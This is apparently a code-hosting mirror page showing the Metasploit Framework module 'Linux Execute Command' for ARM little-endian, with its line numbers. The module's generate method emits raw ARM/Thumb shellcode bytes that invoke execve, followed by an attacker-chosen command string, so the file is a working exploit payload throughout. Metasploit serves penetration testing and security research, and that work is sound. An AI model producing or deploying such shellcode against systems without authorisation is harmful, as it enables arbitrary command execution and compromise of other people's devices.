Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/armle/exec.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15
CachedSize = 29
16
17
include Msf::Payload::Single
18
include Msf::Payload::Linux::Armle::Prepends
19
20
def initialize(info = {})
21
super(
22
merge_info(
23
info,
24
'Name' => 'Linux Execute Command',
25
'Description' => 'Execute an arbitrary command',
26
'Author' => 'Jonathan Salwan',
27
'License' => MSF_LICENSE,
28
'Platform' => 'linux',
29
'Arch' => ARCH_ARMLE
30
)
31
)
32
33
register_options(
34
[
35
OptString.new('CMD', [ true, 'The command string to execute' ]),
36
]
37
)
38
end
39
40
def generate(_opts = {})
41
cmd = datastore['CMD'] || ''
42
43
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" \
44
"\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
45
end
46
end
47
48